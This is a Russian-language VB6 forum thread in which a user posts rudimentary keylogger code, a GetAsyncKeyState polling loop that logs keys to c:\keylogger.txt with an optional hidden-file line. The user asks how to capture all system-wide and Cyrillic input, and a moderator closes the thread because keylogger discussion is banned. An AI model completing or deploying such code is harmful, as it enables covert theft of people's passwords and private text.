Как реализовать(дописать )программный код?)

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
tembi4
Начинающий
Начинающий
 
Сообщения: 3
Зарегистрирован: 26.12.2011 (Пн) 23:22

Как реализовать(дописать )программный код?)

Сообщение tembi4 » 26.12.2011 (Пн) 23:26

Имееться код:
Private Sub form_KeyPress(KeyAscii As Integer)
Dim kascci
Open "d://логи.txt" For Append As #1
Print #1, temp;
'Необходимо закрыть файл прежде, чем вновь открыть в другом режиме.
Close #1
kascci = Chr(KeyAscii)
temp = kascci
'Print temp 'печать KeyAscii и саму букву на форме
End Sub
Private Sub Form_LostFocus()
Form1.SetFocus
End Sub
Private Sub Timer1_Timer()
SetWindowPos Form1.hwnd, -1, 0, 0, 200, 200, 0
End Sub
Как заставить программу перехватывать весь вводимый текст(блокнот,текстбоксы,сайты и др)?=)

Qwertiy
Доктор VB наук
Доктор VB наук
 
Сообщения: 2753
Зарегистрирован: 26.06.2011 (Вс) 21:26

Сообщение Qwertiy » 26.12.2011 (Пн) 23:36

tembi4 писал(а):Как заставить программу перехватывать весь вводимый текст(блокнот,текстбоксы,сайты и др)?=)

Совсем не так.

tembi4
Начинающий
Начинающий
 
Сообщения: 3
Зарегистрирован: 26.12.2011 (Пн) 23:22

Re: Как реализовать(дописать )программный код?)

Сообщение tembi4 » 26.12.2011 (Пн) 23:40

Не понял,совсем ни как?Или я не правильно сформулировал вопрос?

Qwertiy
Доктор VB наук
Доктор VB наук
 
Сообщения: 2753
Зарегистрирован: 26.06.2011 (Вс) 21:26

Сообщение Qwertiy » 26.12.2011 (Пн) 23:45

"Совсем не так" <> "совсем ни как"!

Нужно вешать хук, перехватывающий нажатия клавиш.
Твой код не делает ничего близкого к тому, что ты хочешь.

tembi4
Начинающий
Начинающий
 
Сообщения: 3
Зарегистрирован: 26.12.2011 (Пн) 23:22

Re: Как реализовать(дописать )программный код?)

Сообщение tembi4 » 26.12.2011 (Пн) 23:59

А тогда другой вопрос как заставить данный код перехватывать и русские символы?)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Dim keystate As Integer, scancodes As Integer
Dim keypressed As String
Dim all As String
Dim bunk As String
Dim size As Integer
Set fso = CreateObject("scripting.filesystemobject")
Set winfold = fso.getspecialfolder(0)
bunk = "c:\keylogger.txt"
Do
Sleep 10
For scancodes = 1 To 256
keystate = GetAsyncKeyState(scancodes)
If keystate <> 0 Then
keypressed = keystate
If Not (fso.fileexists(bunk)) Then
Open bunk For Binary Access Read Write As #2
Close #2
End If
all = all & keypressed
If Len(all) > 30 Then
size = FileLen(bunk)
Open bunk For Binary Access Write As #1
Seek #1, size + 1
Put #1, , all
Close #1
all = ""
End If
End If
Next
Loop
'SetAttr "c:\keylogger.txt", vbHidden
End Sub

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Re: Как реализовать(дописать )программный код?)

Сообщение Хакер » 27.12.2011 (Вт) 0:19

Обсуждение кейлоггеров запрещено.
Замечание за неиспользование тега [code].
Тема закрыта.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: AhrefsBot, Google-бот и гости: 8

    TopList